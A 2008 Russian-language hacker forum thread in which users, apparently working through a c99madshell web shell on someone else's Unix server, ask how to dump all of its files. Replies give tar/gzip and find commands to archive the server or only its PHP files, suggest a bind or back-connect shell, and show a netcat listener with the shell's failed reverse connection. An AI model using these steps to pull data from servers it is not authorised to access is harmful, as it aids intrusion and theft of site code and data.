PDA

Просмотр полной версии : слить все с сервера


ntldr
10.02.2008, 22:56
реально ли в пару кликов слить все файлы с unix-сервака, не имея доступа по ftp, а только шелл? если да, то подскажите плз прогу или скрипт.

Conquerstador
10.02.2008, 22:59
Сам ищу)))

blackybr
10.02.2008, 23:38
tar -cvf file.tar /full/path - создать .tar
tar -czvf file.tar.gz /full/path - создать .tar.gz (архив)
tar -cjvf file.tar.bz2 /full/path - создать .tar.bz2 (архив)

можно отдельно после tar -cvf file.tar /full/path сделать gzip -9 /path/file.tar так как при составной команде вроде не поддерживается степень сжатия

ntldr
11.02.2008, 00:44
пасибо все отлично пашет но часто кидает internal server error. буду дампить по 1 папке

n0ne
11.02.2008, 17:52
пашет но часто кидает internal server error

Попробуй bind-шелл\бэкконнект, может быть станет лучше :)

ntldr
11.02.2008, 19:09
пробовал, хз почему - не коннектит. все проверил, порт открыт, айпи внешний - нифига

ntldr
11.02.2008, 19:16
netcat:
C:\nc11nt>nc -l -n -v -p 31373
listening on [any] 31373 ...

c99madshell:
Result of back connection:
Now script try connect to 127.0.0.1:31373...

.Striker
13.02.2008, 14:56
а как слить только пхп файлы?
а то там куча мусора

limpompo
13.02.2008, 15:36
find /home/dir/ -name "*.php" > filelist.txt
tar -vczf backup.tgz -T filelist.txt